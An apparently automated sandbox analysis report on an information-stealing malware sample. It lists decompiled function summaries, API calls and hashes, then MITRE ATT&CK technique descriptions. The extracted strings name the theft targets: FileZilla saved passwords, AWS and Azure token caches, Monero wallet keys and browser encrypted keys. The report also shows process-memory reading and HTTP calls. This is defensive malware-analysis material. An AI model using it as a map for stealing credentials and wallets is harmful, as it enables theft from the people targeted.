Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 004010A0 Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Non-executed Functions

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 00410250 Relevance: 26.6, APIs: 3, Strings: 12, Instructions: 363stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041031B
memset.MSVCRT ref: 004106DD

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

strtok_s.MSVCRT ref: 00410679

Strings

NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
<Port>, xrefs: 004103C6
url: , xrefs: 00410577
<Host>, xrefs: 0041037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<User>, xrefs: 00410410
login: , xrefs: 004105CA
<Pass encoding="base64">, xrefs: 0041045A
browser: FileZilla, xrefs: 00410559
NA, xrefs: 0041072E, 004106AF, 004106B2
profile: null, xrefs: 00410568
password: , xrefs: 004105FB

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$mallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2676359353-514892060
Opcode ID: 5617bd6bc83757f25327082bfbfb60fa8d0a6348b7b524702c500f70768eef60
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 5617bd6bc83757f25327082bfbfb60fa8d0a6348b7b524702c500f70768eef60
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$CreateObjectProcessSingleWaitlstrlen
String ID: .exe
API String ID: 2214552867-4119554291
Opcode ID: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 00414D70 Relevance: 21.1, APIs: 4, Strings: 10, Instructions: 119COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414D87
memset.MSVCRT ref: 00414E13
memset.MSVCRT ref: 00414E9F
memset.MSVCRT ref: 00414F2B

Strings

msal.cache, xrefs: 00414EF0
\.azure\, xrefs: 00414DC1
*.*, xrefs: 00414E64
*.*, xrefs: 00414DD8
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
\.aws\, xrefs: 00414E4D
\.IdentityService\, xrefs: 00414ED9
Azure\.IdentityService, xrefs: 00414EEB
Azure\.aws, xrefs: 00414E5F
Azure\.azure, xrefs: 00414DD3

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memset
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 2221118986-156832076
Opcode ID: 63500b277e5d8c6ba40ed9413d1edfa83572fad66260e383529a6b6b95d2c298
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: 63500b277e5d8c6ba40ed9413d1edfa83572fad66260e383529a6b6b95d2c298
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 004170D0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE
OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111
sA, xrefs: 004172AE, 00417179, 0041717C

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcessmemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 1606381396-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004138B0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 250COMMON

Download Yara Rule

Strings

%s\*, xrefs: 004138C0
%s\%s\%s, xrefs: 00413A4A
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s, xrefs: 0041397A
%s%s, xrefs: 00413AAD
%s\%s, xrefs: 00413A6F

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 0-817767981
Opcode ID: c3ad0e5f37a6afd264e19c98f003c489031be70fef7a74d9d5741692706db697
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: c3ad0e5f37a6afd264e19c98f003c489031be70fef7a74d9d5741692706db697
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 00405960 Relevance: 11.0, APIs: 2, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
memcpy.MSVCRT(?), ref: 00405EFE

Strings

------, xrefs: 00405C0B
------, xrefs: 00405D4C
", xrefs: 00405E16
", xrefs: 00405CD5
------, xrefs: 00405A96

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$memcpy$CrackInternet
String ID: "$"$------$------$------
API String ID: 4271525049-2180234286
Opcode ID: 4205a6c64491eede6f2c0190817c01b6d1188d899bee5cc8d5380a99dbe7c93c
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: 4205a6c64491eede6f2c0190817c01b6d1188d899bee5cc8d5380a99dbe7c93c
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 00409E10 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 167COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8

Strings

v20, xrefs: 00409E21
ERROR_RUN_EXTRACTOR, xrefs: 00409E67
@, xrefs: 00409EF1
v10, xrefs: 00409EA3

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$memcmpmemset
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1976689032-1096346117
Opcode ID: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 00401310 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327
memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memset
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2221118986-218353709
Opcode ID: a32f2aae1de9b97ae466325f1f020e6fdbbafcfcec33de046a9004802322f3a2
Instruction ID: 674d48b949cffd92695f0a4f51b6d393b2dd06dcaa63b8f6d50fb5eb71b8da29
Opcode Fuzzy Hash: a32f2aae1de9b97ae466325f1f020e6fdbbafcfcec33de046a9004802322f3a2
Instruction Fuzzy Hash: AA5164B195011897CB15FB61DD91BED733CAF54304F4041ADB60A62091EE385BDACBAA

Function 004152C0 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000,00420DFB), ref: 004062E1
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,?,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

strtok.MSVCRT(00000000,?), ref: 0041539E

Strings

ERROR, xrefs: 0041530A
ERROR, xrefs: 00415432
ERROR, xrefs: 0041546F
ERROR, xrefs: 004153B9
ERROR, xrefs: 004154A9

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternetOpenRequest$ConnectSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 1208788097-1526165396
Opcode ID: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A138,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 430bce5bb079d1d45eb37588782b3a2619b50b5e0611126e08e4fa3877c2895d
Instruction ID: fa90de3286715eaa6817e9c79d9293911763414a7997c4368e9d4f64dee3ff46
Opcode Fuzzy Hash: 430bce5bb079d1d45eb37588782b3a2619b50b5e0611126e08e4fa3877c2895d
Instruction Fuzzy Hash: A5314874900309DFDF109FA9C9452DEBAF1FF48314F10802BE454A6262CBB94891DFAE

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 89c3f3603ea426d8c1dcae7c91f98695ae5431033bc18fad3d55e9ead8607d02
Instruction ID: 84b4572ca590114782b091576b9a89d8360325c6110713fe167f1eb626e4287d
Opcode Fuzzy Hash: 89c3f3603ea426d8c1dcae7c91f98695ae5431033bc18fad3d55e9ead8607d02
Instruction Fuzzy Hash: 5801C431A817299BC722EB669C857DE77A0BF04794F01811BE81467390C72C69D2CBDD

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 97b8e5648014eb75fe7e4c2f5c52bbac28816c25018f37e92348e0e4551f1163
Instruction ID: 4c6ecd523783b942696bdc62fd612c852c6eee159b5b032e672b771ca3e86784
Opcode Fuzzy Hash: 97b8e5648014eb75fe7e4c2f5c52bbac28816c25018f37e92348e0e4551f1163
Instruction Fuzzy Hash: B0F09632A813119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D28E9E

Function 00418100 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180

Strings

%d MB, xrefs: 004181A3
@, xrefs: 0041814D

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: %d MB$@
API String ID: 3732870572-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 00409CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6

Strings

DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30
, xrefs: 00409DC1

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 1784268899-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 004072D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
task.LIBCPMTD ref: 00407555

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memsettaskvsprintf_s
String ID: Password
API String ID: 2675463923-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

